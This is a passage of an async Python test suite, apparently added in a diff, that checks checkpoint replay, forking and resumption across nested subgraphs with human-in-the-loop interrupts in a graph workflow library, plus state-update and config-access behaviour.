test_subgraph_time_travel_to_second_interrupt_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint at the SECOND interrupt (async).""" + + called: list[str] = [] + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + async def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt + await graph.ainvoke({"value": []}, config) + + # Resume first interrupt + result = await graph.ainvoke(Command(resume="answer_1"), config) + assert result["__interrupt__"][0].value == "Question 2?" + + # Capture subgraph state at the second interrupt + parent_state = await graph.aget_state(config, subgraphs=True) + sub_config = parent_state.tasks[0].state.config + + # Resume second interrupt to complete + await graph.ainvoke(Command(resume="answer_2"), config) + + # --- Scenario 1: Replay from subgraph checkpoint at 2nd interrupt --- + called.clear() + replay_result = await graph.ainvoke(None, sub_config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called + + # --- Scenario 2: Fork from subgraph checkpoint at 2nd interrupt --- + called.clear() + fork_config = await graph.aupdate_state(sub_config, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called + + +@NEEDS_CONTEXTVARS +async def test_subgraph_time_travel_after_completion_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint AFTER both interrupts resolved (async).""" + + called: list[str] = [] + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + async def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="answer_1"), config) + await graph.ainvoke(Command(resume="answer_2"), config) + + final_state = await graph.aget_state(config) + assert len(final_state.tasks) == 0 + + # Replay from the final parent checkpoint — should be a no-op + called.clear() + replay_result = await graph.ainvoke(None, final_state.config) + assert "__interrupt__" not in replay_result + assert "step_a" not in called + assert "ask_1" not in called + assert "ask_2" not in called + assert "step_a_done" in replay_result["value"] + assert "ask_1:answer_1" in replay_result["value"] + assert "ask_2:answer_2" in replay_result["value"] + + +@NEEDS_CONTEXTVARS +async def test_replay_from_before_interrupt_then_resume_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Replay from checkpoint before interrupt node, then resume with a new + answer and verify the graph completes with the new value. + + Graph: START --> node_a --> ask_human (interrupt) --> node_b --> END + """ + + called: list[str] = [] + + async def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + async def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + async def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # --- Original run: invoke until interrupt, then resume to complete --- + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="old_answer"), config) + + original_history = [s async for s in graph.aget_state_history(config)] + original = _checkpoint_summary(original_history) + assert [(s["source"], s["next"], s["values"]) for s in original] == [ + ("loop", (), {"value": ["a", "human:old_answer", "b"]}), + ("loop", ("node_b",), {"value": ["a", "human:old_answer"]}), + ("loop", ("ask_human",), {"value": ["a"]}), + ("loop", ("node_a",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + # --- Replay from checkpoint before ask_human --- + before_ask = next(s for s in original_history if s.next == ("ask_human",)) + + called.clear() + replay_result = await graph.ainvoke(None, before_ask.config) + assert replay_result["__interrupt__"][0].value == "What is your input?" + assert "ask_human" in called + assert "node_a" not in called + + # A fork checkpoint is now the latest + post_replay = _checkpoint_summary( + [s async for s in graph.aget_state_history(config)] + ) + assert [(s["source"], s["next"]) for s in post_replay] == [ + ("fork", ("ask_human",)), + ("loop", ()), + ("loop", ("node_b",)), + ("loop", ("ask_human",)), + ("loop", ("node_a",)), + ("input", ("__start__",)), + ] + + # --- Resume with a new answer --- + called.clear() + final_result = await graph.ainvoke(Command(resume="new_answer"), config) + assert final_result["value"] == ["a", "human:new_answer", "b"] + assert "ask_human" in called + assert "node_b" in called + + final = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"], s["values"]) for s in final] == [ + # New branch (from fork) + ("loop", (), {"value": ["a", "human:new_answer", "b"]}), + ("loop", ("node_b",), {"value": ["a", "human:new_answer"]}), + ("fork", ("ask_human",), {"value": ["a"]}), + # Original branch (preserved) + ("loop", (), {"value": ["a", "human:old_answer", "b"]}), + ("loop", ("node_b",), {"value": ["a", "human:old_answer"]}), + ("loop", ("ask_human",), {"value": ["a"]}), + ("loop", ("node_a",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + +@NEEDS_CONTEXTVARS +async def test_subgraph_time_travel_resume_from_first_interrupt_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint at the first interrupt, then + resume through both interrupts with new answers. + + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + """ + + called: list[str] = [] + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + async def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # --- Original run: hit both interrupts and resume --- + await graph.ainvoke({"value": []}, config) + sub_config_at_first = ( + (await graph.aget_state(config, subgraphs=True)).tasks[0].state.config + ) + await graph.ainvoke(Command(resume="answer_1"), config) + await graph.ainvoke(Command(resume="answer_2"), config) + + original = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"], s["values"]) for s in original] == [ + ("loop", (), {"value": ["step_a_done", "ask_1:answer_1", "ask_2:answer_2"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + # --- Time travel to first interrupt's subgraph checkpoint --- + called.clear() + replay_result = await graph.ainvoke(None, sub_config_at_first) + assert replay_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called + + # Fork is now the latest parent checkpoint + post_tt = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"]) for s in post_tt] == [ + ("fork", ("executor",)), # <-- new fork (latest) + ("loop", ()), # original done + ("loop", ("executor",)), + ("input", ("__start__",)), + ] + + # --- Resume both interrupts with new answers --- + called.clear() + resume_1 = await graph.ainvoke(Command(resume="new_answer_1"), config) + assert resume_1["__interrupt__"][0].value == "Question 2?" + assert "ask_1" in called + + called.clear() + resume_2 = await graph.ainvoke(Command(resume="new_answer_2"), config) + assert resume_2["value"] == [ + "step_a_done", + "ask_1:new_answer_1", + "ask_2:new_answer_2", + ] + + # Verify final history: original branch preserved, new branch appended + final = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"], s["values"]) for s in final] == [ + # New branch (from time travel fork) + ( + "loop", + (), + {"value": ["step_a_done", "ask_1:new_answer_1", "ask_2:new_answer_2"]}, + ), + ("fork", ("executor",), {"value": []}), + # Original branch (preserved) + ("loop", (), {"value": ["step_a_done", "ask_1:answer_1", "ask_2:answer_2"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + +@NEEDS_CONTEXTVARS +async def test_subgraph_time_travel_resume_from_second_interrupt_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to a subgraph checkpoint at the second interrupt, then + resume with a new answer. The first interrupt's answer should be preserved. + + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> step_a --> ask_1 (interrupt) --> ask_2 (interrupt) --> END + """ + + called: list[str] = [] + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + async def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # --- Original run: hit both interrupts and resume --- + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="answer_1"), config) + sub_config_at_second = ( + (await graph.aget_state(config, subgraphs=True)).tasks[0].state.config + ) + await graph.ainvoke(Command(resume="answer_2"), config) + + original = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"], s["values"]) for s in original] == [ + ("loop", (), {"value": ["step_a_done", "ask_1:answer_1", "ask_2:answer_2"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + # --- Time travel to second interrupt --- + called.clear() + replay_result = await graph.ainvoke(None, sub_config_at_second) + assert replay_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called + + # Fork is now the latest parent checkpoint + post_tt = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"]) for s in post_tt] == [ + ("fork", ("executor",)), # <-- new fork (latest) + ("loop", ()), # original done + ("loop", ("executor",)), + ("input", ("__start__",)), + ] + + # --- Resume with a new answer for ask_2 only --- + called.clear() + resume_result = await graph.ainvoke(Command(resume="new_answer_2"), config) + assert resume_result["value"] == [ + "step_a_done", + "ask_1:answer_1", + "ask_2:new_answer_2", + ] + + # Verify final history + final = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"], s["values"]) for s in final] == [ + # New branch (from time travel fork) + ( + "loop", + (), + {"value": ["step_a_done", "ask_1:answer_1", "ask_2:new_answer_2"]}, + ), + ("fork", ("executor",), {"value": []}), + # Original branch (preserved) + ("loop", (), {"value": ["step_a_done", "ask_1:answer_1", "ask_2:answer_2"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + +@NEEDS_CONTEXTVARS +async def test_subgraph_time_travel_checkpoint_pattern_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Verify the checkpoint pattern created by time travel to a subgraph + interrupt. A fork checkpoint should branch from the replay point. + + Parent: START --> executor (subgraph, checkpointer=True) --> END + Executor: START --> ask (interrupt) --> END + """ + + async def ask(state: State) -> State: + answer = interrupt("Q?") + return {"value": [f"a:{answer}"]} + + executor = ( + StateGraph(State) + .add_node("ask", ask) + .add_edge(START, "ask") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("executor", executor) + .add_edge(START, "executor") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until interrupt, then complete + await graph.ainvoke({"value": []}, config) + sub_config = (await graph.aget_state(config, subgraphs=True)).tasks[0].state.config + await graph.ainvoke(Command(resume="first"), config) + + original = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"], s["values"]) for s in original] == [ + ("loop", (), {"value": ["a:first"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + # Time travel to the interrupt + await graph.ainvoke(None, sub_config) + + # Fork is now the latest, branching from the original replay point + post_tt = [s async for s in graph.aget_state_history(config)] + post_tt_summary = _checkpoint_summary(post_tt) + assert [(s["source"], s["next"]) for s in post_tt_summary] == [ + ("fork", ("executor",)), # <-- new fork (latest) + ("loop", ()), + ("loop", ("executor",)), # <-- replay point / fork parent + ("input", ("__start__",)), + ] + # Verify the fork's parent is the original replay point + replay_point_id = sub_config["configurable"]["checkpoint_map"][""] + assert post_tt[0].parent_config["configurable"]["checkpoint_id"] == replay_point_id + + # Resume from the fork + result = await graph.ainvoke(Command(resume="second"), config) + assert result["value"] == ["a:second"] + + final = _checkpoint_summary([s async for s in graph.aget_state_history(config)]) + assert [(s["source"], s["next"], s["values"]) for s in final] == [ + # New branch + ("loop", (), {"value": ["a:second"]}), + ("fork", ("executor",), {"value": []}), + # Original branch + ("loop", (), {"value": ["a:first"]}), + ("loop", ("executor",), {"value": []}), + ("input", ("__start__",), {"value": []}), + ] + + +@NEEDS_CONTEXTVARS +async def test_3_levels_deep_time_travel_to_first_interrupt_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to innermost subgraph checkpoint at FIRST interrupt (async, 3 levels).""" + + called: list[str] = [] + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + async def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + inner = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + middle = ( + StateGraph(State) + .add_node("inner", inner) + .add_edge(START, "inner") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("outer", middle) + .add_edge(START, "outer") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + result = await graph.ainvoke({"value": []}, config) + assert result["__interrupt__"][0].value == "Question 1?" + + parent_state = await graph.aget_state(config, subgraphs=True) + mid_state = parent_state.tasks[0].state + inner_config = mid_state.tasks[0].state.config + + await graph.ainvoke(Command(resume="answer_1"), config) + await graph.ainvoke(Command(resume="answer_2"), config) + + # --- Scenario 1: Replay from innermost checkpoint at 1st interrupt --- + called.clear() + replay_result = await graph.ainvoke(None, inner_config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called + assert "ask_1" in called + + # --- Scenario 2: Fork from innermost checkpoint at 1st interrupt --- + called.clear() + fork_config = await graph.aupdate_state(inner_config, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 1?" + assert "step_a" not in called + assert "ask_1" in called + + +@NEEDS_CONTEXTVARS +async def test_3_levels_deep_time_travel_to_second_interrupt_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to innermost subgraph checkpoint at SECOND interrupt (async, 3 levels).""" + + called: list[str] = [] + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + async def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + inner = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + middle = ( + StateGraph(State) + .add_node("inner", inner) + .add_edge(START, "inner") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("outer", middle) + .add_edge(START, "outer") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke({"value": []}, config) + + result = await graph.ainvoke(Command(resume="answer_1"), config) + assert result["__interrupt__"][0].value == "Question 2?" + + parent_state = await graph.aget_state(config, subgraphs=True) + mid_state = parent_state.tasks[0].state + inner_config = mid_state.tasks[0].state.config + + await graph.ainvoke(Command(resume="answer_2"), config) + + # --- Scenario 1: Replay --- + called.clear() + replay_result = await graph.ainvoke(None, inner_config) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called + + # --- Scenario 2: Fork --- + called.clear() + fork_config = await graph.aupdate_state(inner_config, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 2?" + assert "step_a" not in called + assert "ask_1" not in called + + +@NEEDS_CONTEXTVARS +async def test_3_levels_deep_time_travel_to_middle_subgraph_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel to the MIDDLE-level subgraph checkpoint (async, 3 levels).""" + + called: list[str] = [] + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + async def ask_2(state: State) -> State: + called.append("ask_2") + answer = interrupt("Question 2?") + return {"value": [f"ask_2:{answer}"]} + + inner = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_node("ask_2", ask_2) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "ask_2") + .add_edge("ask_2", "__end__") + .compile(checkpointer=True) + ) + + middle = ( + StateGraph(State) + .add_node("inner", inner) + .add_edge(START, "inner") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("outer", middle) + .add_edge(START, "outer") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="answer_1"), config) + + parent_state = await graph.aget_state(config, subgraphs=True) + mid_config = parent_state.tasks[0].state.config + + await graph.ainvoke(Command(resume="answer_2"), config) + + # --- Scenario 1: Replay from middle-level subgraph checkpoint --- + # The middle subgraph's checkpoint knows about the inner subgraph's state + # via checkpoint_map, so the inner replays from the correct point. + called.clear() + replay_result = await graph.ainvoke(None, mid_config) + assert "__interrupt__" in replay_result + + # --- Scenario 2: Fork from middle-level subgraph checkpoint --- + called.clear() + fork_config = await graph.aupdate_state(mid_config, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + + +@NEEDS_CONTEXTVARS +async def test_3_levels_deep_middle_has_interrupts_async( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Time travel when the MIDDLE subgraph itself has interrupts (async).""" + + called: list[str] = [] + + async def pre(state: State) -> State: + called.append("pre") + answer = interrupt("Pre-question?") + return {"value": [f"pre:{answer}"]} + + async def step_a(state: State) -> State: + called.append("step_a") + return {"value": ["step_a_done"]} + + async def ask_1(state: State) -> State: + called.append("ask_1") + answer = interrupt("Question 1?") + return {"value": [f"ask_1:{answer}"]} + + inner = ( + StateGraph(State) + .add_node("step_a", step_a) + .add_node("ask_1", ask_1) + .add_edge(START, "step_a") + .add_edge("step_a", "ask_1") + .add_edge("ask_1", "__end__") + .compile(checkpointer=True) + ) + + middle = ( + StateGraph(State) + .add_node("pre", pre) + .add_node("inner", inner) + .add_edge(START, "pre") + .add_edge("pre", "inner") + .add_edge("inner", "__end__") + .compile(checkpointer=True) + ) + + graph = ( + StateGraph(State) + .add_node("outer", middle) + .add_edge(START, "outer") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + # Run until first interrupt (pre in middle subgraph) + result = await graph.ainvoke({"value": []}, config) + assert result["__interrupt__"][0].value == "Pre-question?" + + # Capture middle subgraph config at the pre interrupt + parent_state = await graph.aget_state(config, subgraphs=True) + mid_config_at_pre = parent_state.tasks[0].state.config + + # Resume pre, hits ask_1 in inner subgraph + result = await graph.ainvoke(Command(resume="pre_answer"), config) + assert result["__interrupt__"][0].value == "Question 1?" + + # Capture middle subgraph config at the ask_1 interrupt + parent_state = await graph.aget_state(config, subgraphs=True) + mid_config_at_ask1 = parent_state.tasks[0].state.config + + # Resume ask_1 to complete + result = await graph.ainvoke(Command(resume="answer_1"), config) + assert "__interrupt__" not in result + + # --- Time travel to middle checkpoint at pre interrupt --- + called.clear() + replay_result = await graph.ainvoke(None, mid_config_at_pre) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Pre-question?" + assert "pre" in called + assert "step_a" not in called + assert "ask_1" not in called + + # Fork from middle checkpoint at pre interrupt + called.clear() + fork_config = await graph.aupdate_state(mid_config_at_pre, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Pre-question?" + assert "pre" in called + assert "step_a" not in called + + # --- Time travel to middle checkpoint at ask_1 interrupt --- + called.clear() + replay_result = await graph.ainvoke(None, mid_config_at_ask1) + assert "__interrupt__" in replay_result + assert replay_result["__interrupt__"][0].value == "Question 1?" + assert "pre" not in called + assert "ask_1" in called + + # Fork from middle checkpoint at ask_1 interrupt + called.clear() + fork_config = await graph.aupdate_state(mid_config_at_ask1, {"value": ["forked"]}) + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "Question 1?" + assert "pre" not in called + assert "ask_1" in called + + +# --------------------------------------------------------------------------- +# Section 6: __copy__ / update_state(None) +# --------------------------------------------------------------------------- + + +@NEEDS_CONTEXTVARS +async def test_copy_fork_retriggers_interrupt( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Fork using __copy__ (no state changes) from checkpoint before interrupt. + The interrupt is re-triggered because __copy__ creates a new checkpoint + without cached resume values. Resume with new answer to verify.""" + + called: list[str] = [] + + def node_a(state: State) -> State: + called.append("node_a") + return {"value": ["a"]} + + def ask_human(state: State) -> State: + called.append("ask_human") + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + called.append("node_b") + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="hello"), config) + + history = [s async for s in graph.aget_state_history(config)] + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + called.clear() + fork_config = await graph.aupdate_state(before_ask.config, None, as_node="__copy__") + + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "What is your input?" + + final = await graph.ainvoke(Command(resume="new_answer"), fork_config) + assert final == {"value": ["a", "human:new_answer", "b"]} + + +@NEEDS_CONTEXTVARS +async def test_copy_fork_creates_sibling_checkpoint( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """__copy__ creates a checkpoint with source="fork", while regular + update_state creates one with source="update".""" + + def node_a(state: State) -> State: + return {"value": ["a"]} + + def node_b(state: State) -> State: + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + await graph.ainvoke({"value": []}, config) + + history = [s async for s in graph.aget_state_history(config)] + before_b = next(s for s in history if s.next == ("node_b",)) + + # __copy__ fork → source="fork" + copy_config = await graph.aupdate_state(before_b.config, None, as_node="__copy__") + copy_state = await graph.aget_state(copy_config) + assert copy_state.metadata["source"] == "fork" + + # Regular update → source="update" + regular_config = await graph.aupdate_state(before_b.config, {"value": ["x"]}) + regular_state = await graph.aget_state(regular_config) + assert regular_state.metadata["source"] == "update" + + +@NEEDS_CONTEXTVARS +async def test_update_state_with_none_values( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """update_state with None values (not __copy__) goes through the normal + update path, creating a new checkpoint that re-triggers interrupts.""" + + def node_a(state: State) -> State: + return {"value": ["a"]} + + def ask_human(state: State) -> State: + answer = interrupt("What is your input?") + return {"value": [f"human:{answer}"]} + + def node_b(state: State) -> State: + return {"value": ["b"]} + + graph = ( + StateGraph(State) + .add_node("node_a", node_a) + .add_node("ask_human", ask_human) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "ask_human") + .add_edge("ask_human", "node_b") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + + await graph.ainvoke({"value": []}, config) + await graph.ainvoke(Command(resume="hello"), config) + + history = [s async for s in graph.aget_state_history(config)] + before_ask = [s for s in history if s.next == ("ask_human",)][-1] + + fork_config = await graph.aupdate_state(before_ask.config, None) + fork_result = await graph.ainvoke(None, fork_config) + assert "__interrupt__" in fork_result + assert fork_result["__interrupt__"][0].value == "What is your input?" + + fork_state = await graph.aget_state(fork_config) + assert fork_state.metadata["source"] == "update" + + +# --------------------------------------------------------------------------- +# Section 7: Observability (get_state, config access) +# --------------------------------------------------------------------------- + + +@NEEDS_CONTEXTVARS +async def test_get_state_with_subgraphs_returns_subgraph_state( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """get_state(config, subgraphs=True) returns subgraph state and checkpoint + config when paused at interrupt.""" + + class SubState(TypedDict): + data: str + + def sub_node(state: SubState) -> SubState: + interrupt("Continue?") + return {"data": "processed"} + + subgraph = ( + StateGraph(SubState) + .add_node("process", sub_node) + .add_edge(START, "process") + .compile() + ) + + class ParentState(TypedDict): + data: str + + graph = ( + StateGraph(ParentState) + .add_node("sub", subgraph) + .add_edge(START, "sub") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + await graph.ainvoke({"data": "input"}, config) + + state = await graph.aget_state(config, subgraphs=True) + + assert len(state.tasks) > 0 + sub_task = state.tasks[0] + assert sub_task.state is not None + + sub_config = sub_task.state.config + assert "configurable" in sub_config + assert "thread_id" in sub_config["configurable"] + + +@NEEDS_CONTEXTVARS +async def test_checkpoint_ns_accessible_in_subgraph( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """RunnableConfig exposes checkpoint_ns and thread_id inside subgraph + nodes.""" + + captured_config: dict = {} + + class SubState(TypedDict): + data: str + + def sub_node(state: SubState, config: RunnableConfig) -> SubState: + captured_config["checkpoint_ns"] = config["configurable"].get("checkpoint_ns") + captured_config["thread_id"] = config["configurable"].get("thread_id") + return {"data": "done"} + + subgraph = ( + StateGraph(SubState) + .add_node("inner", sub_node) + .add_edge(START, "inner") + .compile() + ) + + class ParentState(TypedDict): + data: str + + graph = ( + StateGraph(ParentState) + .add_node("outer", subgraph) + .add_edge(START, "outer") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + await graph.ainvoke({"data": "test"}, config) + + assert captured_config["checkpoint_ns"] is not None + assert captured_config["checkpoint_ns"] != "" + assert captured_config["thread_id"] == "1" + + +# --------------------------------------------------------------------------- +# Section 8: Stateful vs stateless subgraph state retention on replay +# --------------------------------------------------------------------------- + + +@pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Python 3.11+ required for async test", +) +async def test_stateful_subgraph_retains_state_on_parent_replay( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Stateful subgraph (checkpointer=True) remembers accumulated state + from prior invocations when the parent replays.""" + started: list[tuple[str, dict]] = [] + observed: list[tuple[str, dict]] = [] + + class SubState(TypedDict): + value: Annotated[list[str], operator.add] + + class ParentState(TypedDict): + results: Annotated[list[str], operator.add] + + def parent_node(state: ParentState) -> ParentState: + return {"results": ["p"]} + + def step_a(state: SubState) -> SubState: + 